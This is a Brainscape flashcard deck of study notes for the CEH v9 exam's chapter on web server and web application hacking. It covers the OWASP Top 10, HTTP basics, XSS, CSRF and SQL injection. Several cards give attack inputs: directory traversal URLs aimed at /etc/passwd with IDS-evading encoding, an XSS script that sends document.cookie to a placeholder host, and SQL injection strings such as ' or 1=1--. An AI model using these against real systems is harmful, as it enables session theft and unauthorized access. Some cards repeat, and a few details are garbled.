Brainscape's Knowledge GenomeTM

Browse over 1 million classes created by top students, professors, publishers, and experts.


See full index

CEH Exam Guide 3rd Ed, for CEH Exam v9 > Chapter 6 - Web Based Hacking Servers and Applications > Flashcards

Chapter 6 - Web Based Hacking Servers and Applications Flashcards

1
Q

Web Organizations

Internet Engineering Task Force (IETF)

World Wide Web Consortium (W3C)

Open Web Application Security Project (OWASP)

A

IETF - publishes RFC’s. No policy or business, only engineering.

W3C - develop protocols and guidelines to ensure long term growth of the web. Tries to get vendors to implement core principles and components

OWASP - charitable organization focused on improving security of software. Publishes reports, documents, training efforts to assist in web security

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
2
Q

OWASP Top 10

A

broad consensus about what the most critical web application security flaws are

A1 - injection flaws
A2 - broken authentication and session management
A3 - Cross-Site Scripting (XSS)
A4 - insecure direct object references
A5 - security misconfiguration
A6 - sensitive data exposure
A7 - missing function level access control
A8 - cross-site request forgery
A9 - using components with known vulnerabilities
A10 - unvalidated redirects and forwards

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
3
Q

A1

Injection Flaws

A

SQL, OS, LDAP occur when untrusted data sent to an interpreter as part of a command or query

Hostile data can trick interpreter into executing commands or accessing data without authorization

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
4
Q

A2

Broken Authentication and Session Management

A

can allow attackers to compromise passwords, keys, session tokens or exploit other implementation flaws to assume other users’ identities

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
5
Q

A3

Cross-Site Scripting (XSS)

A

occur whenever an application takes untrusted data and sends it to a web browser without proper validation or escaping.

Lets attackers execute scripts in target browser which can hijack user sessions, deface websites or redirect user to malicious website

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
6
Q

A4

Insecure Direct Object References

A

A direct object reference occurs when developer exposes a reference to an internal implementation object like a file, directory or database key.

Without access control check or other protection, attackers can manipulate these references to access unauthorized data

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
7
Q

A5

Security Misconfiguration

A

security configurations should be defined and deployed for applications, frameworks, servers and platforms.

defaults are often insecure, so secure settings should be defined and implemented

software should be updated

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
8
Q

A6

Sensitive Data Exposure

A

Many web applications don’t properly protect sensitive data and authentication credentials

sensitive data deserves extra protection like encryption at rest and transit, and special precautions when exchanged with the browser

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
9
Q

A7

Missing Function Level Access Control

A

Most web applications verify function level access rights before making that functionality visible in the UI. But applications need to perform the same access control checks on the server when each function is accessed

If requests aren’t verified attackers can forge requests to access functionality without proper authorization

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
10
Q

A8

Cross-Site Request Forgery (CSRF)

A

CSRF attack forces a logged-on victim’s browser to send a forged HTTP request including the victim’s session cookie and any other automatically included authentication info to a vulnerable web application

This allows attacker to force victim’s browser to generate requests the vulnerable applications thinks are legitimate requests from the victim

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
11
Q

A9

Using Components with Known Vulnerabilities

A

Many components are often run with full privileges. If one is exploited, an attack can facilitate serious loss or server takeover.

Applications using components with known vulnerabilities can undermine application defenses and enable a range of attacks and impacts

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
12
Q

A10

Unvalidated Requests and Forwards

A

Web applications often redirect and forward users to other pages and websites and use untrusted data to determine the destination pages.

Without proper validation, attackers can redirect victim to phishing or malware sites or use forwards to access unauthorized pages

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
13
Q

ECC’s 6 Stages of Web Server Attack Methodology

A

information gathering

footprinting

mirroring websites

vulnerability scanning

session hijacking

password cracking

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
14
Q

web server attack

information gathering and footprinting

A

whois and banner grabbing

net craft for high level info

HTTPRecon, IDServe for identifying web server architecture and OS

HTTPrint

Burp Suite can give insight to content

Black Wiow, HTTrack can copy website to your system for review

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
15
Q

web server attack

vulnerability scanning

A

Nessus is ok

Nikto is designed for web servers: file problems, script errors, server configuration errors. Can be configured within Nessus to automatically scan when a web server is discovered. Plugins and signatures available

Nikto is not a stealthy tool

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
16
Q

Web Server Architecture

Steps to request and receive a web page

A

client sends request to server to open TCP port on 80 or 443 (typically)

after agreeing to the handshake on the page request, the server waits for HTTP GET request from the client

HTTP GET request asks for specific HTML code representing a web page

Server looks through storage area, finds code that matches request and sends to client

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
17
Q

Issues to consider when a client requests a web page

A

does the server validate what client is requesting

does server respond only to verbiage in the request or can it get confused and respond with other actions

where are the actual files of HTML and other code stored. How are their permissions assigned.

etc etc

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
18
Q

Tier system in network architecture

A

N-tier architecture (aka multi-tier architecture) distributes processes across multiple servers

each tier consists of single role carried out by one or more computer systems (or a cluster)

Typically this is done in 3 Tiers:

presentation
logic
data

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
19
Q

Apache design and architecture

A

Apache is built modularly with a core and modules to perform variety of functions. Open source so many add-ons available

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
20
Q

Commonly misconfigured settings on Apache or IIS

A 
error messaging (debug logs are useful)
default passwords
SSL certificates
scripts
remote admin functions
config files and services
properly restricting remote administration
eliminating unnecessary services
changing default passwords and accounts
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
21
Q

HTTP Protocol details

Hypertext Transfer Protocol

A

designed as a request-response Application Layer protocol where client requests hypertext from a server

client requests a resource using its Uniform Resource Indicator (URI) which is typically expressed for web requests as a Uniform Resource Locator (URL)

Server responds to HTTP requests by providing the resource requested

22
Q

HTML Details

A

HTML is a method to mark up hypertext so it will display accordingly in a browser

HTML files consist of tags that tell browser how to display data

<img></img> common ones

23
Q

HTML Entities

A

ways of telling the browser to display those characters it would otherwise look at as a tag or part of the programming itself.

Reserved Character in HTML - HTML Entity Version
space - 
" - "
' - '
&amp; - &amp;
< - <
> - >
24
Q

HTML Entities

A

ways of telling the browser to display those characters it would otherwise look at as a tag or part of the programming itself.

Reserved Character in HTML - HTML Entity Version
nonbreaking space - 
" - "
' - '
&amp; - &amp;
< - <
> - >
25
Q

HTTP Request Methods

A

GET - retrieve whatever info is identified by the Request URI. Problem is was originally designed to send data also by appending data to the URL

HEAD - identical to GET but server MUST NOT return a message-body in the response. Often used for testing hypertext links for validity, accessibility, modification, requesting headers and metadata

POST - used to request that origin server accept entity in the request as new subordinate of resource identified by Request URI. Better method of submitting data. Primary purpose is to provide data for server. Generally considered safer than GET because admin can set it to not store in browser history or server logs, doesn’t display returned data in the URL

PUT
TRACE
CONNECT

26
Q

HTTP Request Methods

A

GET - retrieve whatever info is identified by the Request URI. Problem is was originally designed to send data also by appending data to the URL

HEAD - identical to GET but server MUST NOT return a message-body in the response. Often used for testing hypertext links for validity, accessibility, modification, requesting headers and metadata

POST - used to request that origin server accept entity in the request as new subordinate of resource identified by Request URI. Better method of submitting data. Primary purpose is to provide data for server. Generally considered safer than GET because admin can set it to not store in browser history or server logs, doesn’t display returned data in the URL

PUT - requests that enclosed entity be stored under supplied Request URI. If Request-URI refers to existing resource, enclosed entity should be consider a modifying version.

DELETE - requests origin server delete resource identified by URI

TRACE - invokes remote application layer loopback of the request message. Final recipient of request should reflect the message received back to the client as the entity body of a 200 (OK) response

CONNECT - reserved for use with proxy that can dynamically switch to being a tunnel (ie SSL tunneling)

27
Q

HTTP Response Messages

First digit defines the class of response

Last two digits don’t have categorization role, but more clearly define the response intent

A

Five Values for first digit

1xx - Informational. Request received. continuing process
2xx - success
3xx - redirection. further action needed to complete request
4xx - client error. request contains bad syntax or can’t be fulfilled
5xx - server error. server failed to fulfill apparently valid request

28
Q

Exam Tip

DNS Amplification

A

DNS Amplification is an attack manipulating recursive DNS to DoS a target

attacker uses botnet to amplify DNS answers to the target until it can’t do anything else

29
Q

Directory Traversal attack

aka dot dot slash (../) attack, directory climbing, backtracking

A

common and successful on older servers

attacker tries to access restricted directories and execute commands outside intended web server directories.

sends HTTP requests asking server to drop back to the root directory and give access to other folders

ex

http: //www.example.com/../../../etc/passwd
http: //www.example.com/../../../Windows\system32\cmd.exe

problem is that it’s noisy. Signature based IDS have many rules looking for this. One workaround is to use unicode in the string to represent dots and slashes.

%2e can represent a dot
%sf can represent a slash

%2e%2e%sf

30
Q

Attack by manipulating the hidden field on the source code of the page

A

HTML code attribute called “hidden” and if it’s there you can view it in the page source code.

Save the page to your computer, alter data and open it in a browser.

Or look for information that is useful

31
Q

Connection String Parameter Pollution (CSPP)

A

injection attack that takes advantage of web applications that talk to databases by using semicolons to separate each parameter

Can be used to steal user identities and hijack web credentials

32
Q

HTTP Attack Tools

Brutus
THC-Hydra
Metasploit

A

Brutus - good for brute-forcing web passwords of HTTP

THC-Hydra - fast network logon cracker

33
Q

Metasploit Framework - 5 Actions

A

select exploit to use

configure options

select target

select payload

launch exploit

34
Q

Attacking Web Applications

ECC definition of web application

A

Web application fills a gap between the website front end and the actual database performing the work

They’re becoming a good attack vector because there are many of them, they aren’t standardized and are often created in-house, so frequently don’t have much security oversight when they’re built

35
Q

Tips for attacking web applications

A

identify entry points:
examine cookies, headers, POST data, encoding and encryption measures. Obviously look at the URL for input parameters and similar

Identify function and technology on the server side to try and learn server makeup, form, function

ex. an aspx file shows the platform. inDate stopDate name can be columns from a database. Error messages and session tokens can provide info

use mirroring to create a local copy for taking your time

36
Q

Injection attacks that aren’t SQL

file injection
command injection
shell injection
LDAP injection
SOAP (Simple Object Access Protocol)
A

file
attacker injects a pointer in the web form input to an exploit hosted on a remote site

command
attacker injects commands into form fields instead of the expected test entry

shell
attacker tries to gain shell access using Java or other functions

LDAP
exploits applications that build LDAP statements based on user input. Exploits non validated web input that passes LDAP queries.

SOAP
inject malicious query strings (like SQL injection) that can allow you to bypass authentication and access databases behind the scenes. SOAP is compatible with HTTP, SMTP and messages are typically one-way

37
Q

Buffer Overflow attacks

A

attempt to write more data into an application’s pre-built buffer in order to overwrite adjacent memory, execute code or crash an application

38
Q

Canary words

A

like the canary in the coal mine

known values placed between the buffer and control data. If a buffer overflow occurs, the canary word is altered first allowing for an orderly stop

ex. Stackguard

Address Space Layout Randomization (ASLR) and Data Execution Prevention (DEP) are common ways to mitigate buffer overflows.

39
Q

Cross Site Scripting (XSS) attacks

A

attacker takes advantage of scripting language on website (ie when a web form asks for user input, a script dynamically changes appearance or behavior of the site based on the input)

ex.
instead of typing in what you’re supposed to, you type in a script and the server processes it

40
Q

Exam Tip for XSS

know what XSS is, what you can do with it

Recognize that a URL like the following indicates XSS attack attempt

A

http://IPADDRESS/”;!- -“=&{()}

41
Q

Classic XSS attack

A

get access to ‘document.cookie’ and sending it to a remote host. Ex. if the app is vulnerable to XSS, this javascript will be run and you can get cookies from users accessing the page

<script>
window.open("
http://somewhere.com/getcookie.acookie="
         \+ document.cookie)
</script>
42
Q

Things you can do with XSS attacks

include Stored XX (aka Persistent or Type-I XSS)

A

DoS
send XSS attack over email
store injected scripted on server (database message forum, log or comment field)
upload malicious code to users connected to server
get PHP session ID’s

43
Q

Cross-Site Request Forgery (CSRF)

A

Forces end user to execute unwanted actions on a web application they’re currently authenticated to

Inherits identity and privileges of the victim

For many sites, browser requests automatically include credentials like user session cookie, IP address, Windows domain credentials, etc

If user is currently authenticated to the site, the site can’t distinguish between forged request and legitimate one

Mitigate CSRF attacks by having web server send random challenge tokens. If every user request includes the token, it’s easy to spot illegitimate requests

44
Q

Cookies

A

Sent in the header of an HTTP response from a web server.

Cookie editor add on for Firefox is useful

Can contain passwords (use Karen’s Cookie Viewer)

Use a Unicode or Base64 decoder to analyze long text strings beside the UserID section

Can be manipulated to use as spyware, change pricing, authenticate to a server, i.e. changing entry from ADMIN=NO to ADMIN=YES

45
Q

Cookies

A

Sent in the header of an HTTP response from a web server.

Cookie editor add on for Firefox is useful

Can contain passwords (use Karen’s Cookie Viewer)

Use a Unicode or Base64 decoder to analyze long text strings beside the UserID section

Can be manipulated to use as spyware, change pricing, authenticate to a server, i.e. changing entry from ADMIN=NO to ADMIN=YES

46
Q

SQL encompasses which three standard areas of data handling?

Which one are most SQL injections in?

A

Definition (DDL)

Manipulation (DML)

Control (DCL)

Most SQL injections are in DML

47
Q

SQL Injection

A

when attacker injects SQL queries directly into the input form. When successful the command executes directly on the SQL database

Can inject SQL to a form, or the URL itself
ex. change URL to: www.example.com/?login=’OR 1=1–

48
Q

How do you tell if a target is vulnerable to SQL injection?

A

in a web login page, instead of entering what they ask for put in a single quote: ‘

See what error message you get. if that doesn’t work, put in: anything’or 1=1

and see what you get. If you get a Microsoft OLE error message, it’s most likely vulnerable

49
Q

How do you tell if a target is vulnerable to SQL injection?

A

in a web login page, instead of entering what they ask for put in a single quote: ‘

See what error message you get. if that doesn’t work, put in: anything’or 1=1

and see what you get. If you get a Microsoft OLE error message, it’s most likely vulnerable

Also use the “magic quotes” for Apache and use fuzzing tools like Burp Suite

50
Q

Examples of how to use SQL injection attacks

A

send a SQL command instead of the “forgot your password” response to create (INSERT) a new record int the user and password table

Try logging in using SQL statements like (admin ‘–) or (admin ‘ /*) or (‘ or 1=1–)

51
Q

Some names of SQL injection samples

Union Query
Tautology
Blind SQL Injection
Error-based SQL injection

A

Union Query
Lets you join together SELECT queries, for instance combining a harmless query with one that’s malicious.

Tautology
Describes behaviors of DB system when deciding if a statement is true. Because User ID’s and passwords are often compared and the ‘true’ measure allows access, if you trick DB by providing something that’s already true, you can sneak in

Blind SQL Injection
When attacker knows database susceptible to injection but error messages and screen returns don’t come back to him. Much guesswork, trial and error so takes a lot of time

Error-based SQL injection
Enumeration technique more than attack. Goal is to enter poorly constructed statements to get DB to respond with table names and other information in its error messages

52
Q

HTTP Response Splitting

A

Add header response data to an input field so server splits response in a couple directions

if it works, attacker controls content of second header which can be used for multiple things, like redirecting user to a controlled site.

OWASP calls this a means to an end, not an end in itself because it’s designed to allow other attacks

CEH Exam Guide 3rd Ed, for CEH Exam v9 (17 decks)

Brainscape helps you reach your goals faster, through stronger study habits.
© 2024 Bold Learning Solutions. Terms and Conditions